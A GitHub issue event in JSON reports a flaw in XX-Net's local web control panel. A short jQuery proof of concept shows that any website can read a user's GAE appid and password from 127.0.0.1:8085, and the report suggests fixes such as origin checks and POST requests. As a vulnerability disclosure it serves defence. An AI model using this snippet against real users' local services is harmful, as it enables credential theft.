{"action":"created","issue":{"url":"https://api.github.com/repos/XX-net/XX-Net/issues/1309","labels_url":"https://api.github.com/repos/XX-net/XX-Net/issues/1309/labels{/name}","comments_url":"https://api.github.com/repos/XX-net/XX-Net/issues/1309/comments","events_url":"https://api.github.com/repos/XX-net/XX-Net/issues/1309/events","html_url":"https://github.com/XX-net/XX-Net/issues/1309","id":114526858,"number":1309,"title":"从任意网站执行一段代码即可获取appid列表以及密码","user":{"login":"Cat7373","id":9296576,"avatar_url":"https://avatars.githubusercontent.com/u/9296576?v=3","gravatar_id":"","url":"https://api.github.com/users/Cat7373","html_url":"https://github.com/Cat7373","followers_url":"https://api.github.com/users/Cat7373/followers","following_url":"https://api.github.com/users/Cat7373/following{/other_user}","gists_url":"https://api.github.com/users/Cat7373/gists{/gist_id}","starred_url":"https://api.github.com/users/Cat7373/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Cat7373/subscriptions","organizations_url":"https://api.github.com/users/Cat7373/orgs","repos_url":"https://api.github.com/users/Cat7373/repos","events_url":"https://api.github.com/users/Cat7373/events{/privacy}","received_events_url":"https://api.github.com/users/Cat7373/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":1,"created_at":"2015-11-02T05:15:45Z","updated_at":"2015-11-02T06:05:57Z","closed_at":null,"body":"在任意网页，首先保证已经引入jQuery，然后执行如下代码即可：\r\n$.get('http://127.0.0.1:8085/module/gae_proxy/control/config?cmd=get_config', function(data) {\r\n    var json = JSON.parse(data);\r\n    console.log(json.appid);\r\n    console.log(json.password);\r\n});\r\n\r\n类似的问题还有很多，Web页面里有大量GET请求，最简单的解决方案是来源地址检测，也可以把此类请求改为POST来解决，以及，感觉这个请求没必要返回真实密码吧- -\r\n"},"comment":{"url":"https://api.github.com/repos/XX-net/XX-Net/issues/comments/152922650","html_url":"https://github.com/XX-net/XX-Net/issues/1309#issuecomment-152922650","issue_url":"https://api.github.com/repos/XX-net/XX-Net/issues/1309","id":152922650,"user":{"login":"xyuanmu","id":12442896,"avatar_url":"https://avatars.githubusercontent.com/u/12442896?v=3","gravatar_id":"","url":"https://api.github.com/users/xyuanmu","html_url":"https://github.com/xyuanmu","followers_url":"https://api.github.com/users/xyuanmu/followers","following_url":"https://api.github.com/users/xyuanmu/following{/other_user}","gists_url":"https://api.github.com/users/xyuanmu/gists{/gist_id}","starred_url":"https://api.github.com/users/xyuanmu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xyuanmu/subscriptions","organizations_url":"https://api.github.com/users/xyuanmu/orgs","repos_url":"https://api.github.com/users/xyuanmu/repos","events_url":"https://api.github.com/users/xyuanmu/events{/privacy}","received_events_url":"https://api.github.com/users/xyuanmu/received_events","type":"User","site_admin":false},"created_at":"2015-11-02T06:05:57Z","updated_at":"2015-11-02T06:05:57Z","body":"我的appid是放到manual.ini，因为当初就想到会返回appid的问题，刚访问该地址的时候果然密码和appid是空的，放到config.ini里的id和密码暴露无疑。"}}